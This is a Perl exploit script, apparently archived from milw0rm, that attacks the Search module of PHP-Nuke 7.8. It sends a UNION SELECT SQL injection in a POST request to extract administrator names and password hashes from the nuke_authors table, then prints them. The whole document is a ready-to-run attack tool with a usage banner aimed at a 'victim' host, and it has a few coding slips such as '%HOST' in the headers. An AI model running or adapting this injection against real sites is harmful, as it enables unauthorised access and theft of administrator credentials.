PHP-Nuke 7.8 Search Module - SQL Injection

#!/usr/bin/perl -w
use IO::Socket;

if (@ARGV < 2)
{
print "*---------------------------------------*\n";
print "* EXPLOIT for PHPNuke <=7.8 *\n";
print "*---------------------------------------*\n\n";
print " Usage : \n";
print " PHPNuke[1] HOST /[path_phpnuke] \n\n";
print " HOST - Host where is phpnuke example: localhost \n\n";
print " Example :\n\n";
print " PHPNuke[1] www.victim.com /phpnuke/html/ \n\n";
exit();
}

$HOST = $ARGV[0];
$phpnuke_path = $ARGV[1];

print "\n";
print "Host : $HOST\n";
print "phpnuke_path : $phpnuke_path\n";
print "\n";
$OK = 0;
$modules = "modules.php";
$query = "name=Search&query=s%')/**/UNION/**/SELECT/**/0,pwd,0,aid,0,0,0,0,0,0/**/FROM/**/nuke_authors/*";
$length = length $query;
$GET = $phpnuke_path . $modules;
print "[*] Connecting at victim host [OK]\n";
$send = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "[*] Connect [FAILED]\n";
print "[*] Connected [OK]\n";
print "[*] Sending exploit [OK]\n\n";
print $send "POST ".$GET." HTTP/1.0\n";
print $send "Host: ".%HOST."\n";
print $send "Referer: http://".%HOST.$phpnuke_path."modules.php?name=Search \r\n";
print $send "User-Agent: Internet Explorer 6.0 [SR]\n";
print $send "Content-Type: application/x-www-form-urlencoded\n";
print $send "Content-Length: ".$length."\n\n";
print $send $query;
print $send "Cookie: lang=english\r\n\r\n";
print $send "Connection: close\n\n";

print "[*] Exploit send [OK]\n";
print "[*] Wait for reply...[OK]\n";
while ($answer = <$send>)
{
if ($answer =~ /=0"><b>([^:]*)<\/b>/ ) { 
$OK = 1;
print "[*] Success [OK]\n";
print "[*] USER: $1\n";
}
if ($answer =~ /=\"0">([^:]*)<\/a>/ ) { 
$OK = 1;
print "[*] PASSWORD: $1\n";
}
}
if ($OK == 0) { print "[*] Exploit [FAILED]\n"; }

# milw0rm.com [2005-11-16]